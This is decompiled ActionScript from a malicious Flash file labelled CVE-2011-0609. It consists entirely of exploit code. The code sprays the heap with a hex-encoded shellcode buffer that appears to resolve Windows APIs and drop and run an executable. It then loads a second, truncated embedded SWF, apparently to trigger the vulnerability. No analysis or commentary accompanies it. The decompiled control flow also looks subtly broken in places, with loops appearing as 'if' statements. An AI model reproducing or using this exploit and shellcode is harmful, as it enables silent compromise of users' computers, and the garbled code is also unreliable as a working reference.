CVE-2011-0609 sm.swf

package
{
    import flash.display.*;
    import flash.system.*;
    import flash.utils.*;

    public class hs extends MovieClip
    {
        static const POOL_SIZE:int = 1048576;
        static var allocs:Array;
        static var pool:ByteArray;
        static var dstSize:int;
        static var allocCount:int;
        static var cevent:Function;
        static var childRef:DisplayObject = null;
        static var container:Sprite = null;

        public function hs()
        {
            var _loc_1:* = new ByteArray();
            _loc_1.endian = Endian.LITTLE_ENDIAN;
            var _loc_3:int = 0;
            _loc_3 = 0;

            if (_loc_3 < 5140 - 32)
            {
                _loc_1.writeInt(336860180);
                _loc_3 = _loc_3 + 4;
                ;
            }
            _loc_1.writeInt(2425393296);
            _loc_1.writeInt(2425393296);
            var _loc_4:String = "141414141414141414141414141414141414141414141414141464A1300000008B400C8B701CAD8B7008E93D0200005881EC000200008BFC89770889471090FF770868EC97030CE8CC01000089471CFF770868F622B97CE8BC010000894720FF770868A517007CE8AC010000894724FF770868FB97FD0FE89C010000894728FF7708681665FA10E88C01000089472CFF7708681F790AE8E87C010000894730FF77086825B0FFC2E86C010000894734FF770868AC08DA76E85C010000894738FF77086898FE8A0EE84C01000089473CFF77086883B9B578E83C010000894740FF770868E6178F7BE82C010000894744FF770868AD9B7DDFE81C010000894748FF7710FF573433F6468D47605056FF574883F8FF74F23D0000010076EB894704897760FF77046A40FF571C89475C6A006A006A00FF7760FF573883F8FF744B6A008D5F7053FF7704FF775CFF7760FF572C8B4F7083E9108B475C408138432E42477509817804040689197404E2ECEB1A83C0088947144081384655634B750981780424048219740EE2ECFF775CFF57200F8572FFFFFF83C0088947186A0068800000006A026A006A006800000040FF7710FF5724894764C7476C4D5A90006A008D5F70536A048D5F6C53FF7764FF57308B47182B471483E8088B5F1430034348434883F80075F56A008D5F70538B5F182B5F1483EB0853FF7714FF7764FF5730FF7764FF57286A00FF7710FF573C6A00FF57446A0050FF5740558BEC578B7D088B5D0C568B733C8B74337803F3568B762003F333C94941AD03C35633F60FBE1038D67408C1CE0D03F240EBF13BFE5E75E55A8BEB8B5A2403DD668B0C4B8B5A1C03DD8B048B03C55E5F5DC20800E8BEFDFFFF612E6578650000";
            _loc_1.writeBytes(hexToBin(_loc_4));
            _loc_3 = _loc_1.length;

            if (_loc_3 < 65536)
            {
                _loc_1.writeInt(336860180);
                _loc_3 = _loc_3 + 4;
                ;
            }
            alloc(_loc_1, 1048576 - 1536 - 36);
            var _loc_5:* = new ByteArray();
            _loc_5.writeBytes(pool, 0, 1048576 - 3840 - 36);
            allocs.push(_loc_5);
            pool = null;
            var _loc_6:* = 0;

            if (_loc_6 < 1280)
            {
                var _loc_7:* = new ByteArray();
                _loc_7.writeBytes(_loc_5, 0, 1048576 - 3840 - 36);
                allocs.push(_loc_7);
                _loc_6 = _loc_6 + 1;
                ;
            }
            var _loc_8:String = "43575309eac70000789cbcbc09601bc5153fbc33bbdad54a3e245f712e4721c64e8c1b27015a4809e01cce0189432e02c5b6.............[skipped].....................";
            var _loc_9:* = new Loader();
            var _loc_10:* = new LoaderContext(false);
            _loc_9.loadBytes(hexToBin(_loc_8), _loc_10);
            childRef = this.addChild(_loc_9);
            return;
        }// end function

        public static function init_pool(param1)
        {
            hs.pool = new ByteArray();
            hs.pool.writeBytes(param1);
            while (hs.pool.length < 1048576)
            {

                var _loc_3:* = new ByteArray();
                _loc_3.writeBytes(hs.pool);
                hs.pool.writeBytes(_loc_3);
            }
            return;
        }// end function

        public static function alloc(param1, param2)
        {
            if (hs.allocs == null)
            {
                hs.allocs = new Array();
            }
            hs.dstSize = param2;
            hs.init_pool(param1);
            return;
        }// end function

        public static function free()
        {
            hs.allocs = null;
            return;
        }// end function

        public static function hexToBin(param1:String) : ByteArray
        {
            var _loc_2:* = new ByteArray();
            var _loc_3:* = param1.length;
            var _loc_4:uint = 0;

            if (_loc_4 < _loc_3)
            {
                var _loc_5:* = param1.charAt(_loc_4) + param1.charAt((_loc_4 + 1));
                _loc_2.writeByte(parseInt(_loc_5, 16));
                _loc_4 = _loc_4 + 2;
                ;
            }
            return _loc_2;
            return;
        }// end function

    }
}